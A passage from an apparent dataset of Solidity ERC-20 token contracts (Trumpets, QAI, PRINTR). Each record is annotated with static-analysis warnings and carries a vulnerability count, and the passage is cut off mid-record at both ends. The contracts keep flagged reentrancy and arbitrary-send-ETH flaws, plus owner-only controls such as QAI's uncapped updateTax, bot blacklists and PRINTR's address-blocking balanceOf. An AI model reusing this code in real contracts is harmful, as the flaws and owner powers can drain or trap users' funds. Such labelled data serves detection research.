improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 726993a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 726993a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c92aba4\n\t\t\t\t// reentrancy-eth | ID: 726993a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c92aba4\n\t\t\t\t\t// reentrancy-eth | ID: 726993a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 726993a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 726993a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 726993a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c92aba4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 726993a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 726993a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c92aba4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c92aba4\n\t\t// reentrancy-events | ID: 24d41a8\n\t\t// reentrancy-benign | ID: 7182b78\n\t\t// reentrancy-eth | ID: 726993a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2425fc8): Trumpets.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2425fc8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c92aba4\n\t\t// reentrancy-events | ID: 24d41a8\n\t\t// reentrancy-eth | ID: 726993a\n\t\t// arbitrary-send-eth | ID: 2425fc8\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b4f437): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b4f437: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 76e1511): Trumpets.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 76e1511: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c49477): Trumpets.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4c49477: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 07b1bfa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 07b1bfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8b4f437\n\t\t// reentrancy-eth | ID: 07b1bfa\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8b4f437\n\t\t// unused-return | ID: 76e1511\n\t\t// reentrancy-eth | ID: 07b1bfa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8b4f437\n\t\t// unused-return | ID: 4c49477\n\t\t// reentrancy-eth | ID: 07b1bfa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8b4f437\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 07b1bfa\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: cef36d6): Trumpets.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for cef36d6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: cef36d6\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10339.sol", "size_bytes": 21146, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract QAI is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 7e16017): QAI._devWallet should be immutable \n\t// Recommendation for 7e16017: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: fc30e95): QAI._marketingWallet should be immutable \n\t// Recommendation for fc30e95: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"Quantum AI\";\n string private constant _symbol = unicode\"QAI\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n uint256 public _BuyTax = 15;\n uint256 public _SellTax = 30;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: c9e68a9): QAI._taxSwapThreshold should be constant \n\t// Recommendation for c9e68a9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: e5a5957): QAI._maxTaxSwap should be constant \n\t// Recommendation for e5a5957: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private contractSellCount = 0;\n uint256 private lastContractSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(_msgSender());\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_devWallet] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a57fe1): QAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a57fe1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0012afe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0012afe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0bc40ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0bc40ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 0012afe\n\t\t// reentrancy-eth | ID: 0bc40ac\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 0012afe\n\t\t// reentrancy-eth | ID: 0bc40ac\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd6e6a3): QAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dd6e6a3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: 0bc40ac\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 0012afe\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c881ee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c881ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9381cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9381cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n if (from == uniswapV2Pair && to != address(this)) {\n taxAmount = (amount * _BuyTax) / 100;\n }\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n if (block.number > lastContractSellBlock) {\n contractSellCount = 0;\n }\n require(contractSellCount < 2);\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 9c881ee\n\t\t\t\t// reentrancy-eth | ID: f9381cb\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c881ee\n\t\t\t\t\t// reentrancy-eth | ID: f9381cb\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: f9381cb\n contractSellCount++;\n\t\t\t\t// reentrancy-eth | ID: f9381cb\n lastContractSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f9381cb\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 9c881ee\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: f9381cb\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: f9381cb\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 9c881ee\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 0012afe\n\t\t// reentrancy-events | ID: 9c881ee\n\t\t// reentrancy-eth | ID: 0bc40ac\n\t\t// reentrancy-eth | ID: f9381cb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8d4289e): QAI.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for 8d4289e: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: 8d4289e\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: 8d4289e\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 36e32a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 36e32a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 86fbc5f): QAI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 86fbc5f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c8198d): QAI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4c8198d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 715544a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 715544a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 36e32a0\n\t\t// reentrancy-eth | ID: 715544a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 36e32a0\n\t\t// unused-return | ID: 86fbc5f\n\t\t// reentrancy-eth | ID: 715544a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 36e32a0\n\t\t// unused-return | ID: 4c8198d\n\t\t// reentrancy-eth | ID: 715544a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 36e32a0\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 715544a\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 229dfc3): QAI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 229dfc3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0012afe\n\t\t// reentrancy-events | ID: 9c881ee\n\t\t// reentrancy-eth | ID: 0bc40ac\n\t\t// reentrancy-eth | ID: f9381cb\n\t\t// arbitrary-send-eth | ID: 229dfc3\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_1034.sol", "size_bytes": 16861, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PRINTR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aacfd71): PRINTR._taxWallet should be immutable \n\t// Recommendation for aacfd71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1733776): PRINTR._initialBuyTax should be constant \n\t// Recommendation for 1733776: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f120eed): PRINTR._initialSellTax should be constant \n\t// Recommendation for f120eed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 872c6b7): PRINTR._finalBuyTax should be constant \n\t// Recommendation for 872c6b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: f041550): PRINTR._finalSellTax should be constant \n\t// Recommendation for f041550: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e2388a): PRINTR._reduceBuyTaxAt should be constant \n\t// Recommendation for 7e2388a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2eabb0): PRINTR._reduceSellTaxAt should be constant \n\t// Recommendation for f2eabb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7f0f07): PRINTR._preventSwapBefore should be constant \n\t// Recommendation for e7f0f07: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = \"Print Ether\";\n\n string private constant _symbol = \"PRINTR\";\n\n uint256 public _maxTxAmount = 50000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 50000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59eff7a): PRINTR._taxSwapThreshold should be constant \n\t// Recommendation for 59eff7a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e58502f): PRINTR._maxTaxSwap should be constant \n\t// Recommendation for e58502f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 925562d): PRINTR.bananasnipe should be constant \n\t// Recommendation for 925562d: Add the 'constant' attribute to state variables that never change.\n address private bananasnipe = 0x58dF81bAbDF15276E761808E872a3838CbeCbcf9;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c7073c2): PRINTR.balanceOf(address) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for c7073c2: Do not use 'tx.origin' for authorization.\n function balanceOf(address account) public view override returns (uint256) {\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: c7073c2\n require(tx.origin != bananasnipe);\n\n return 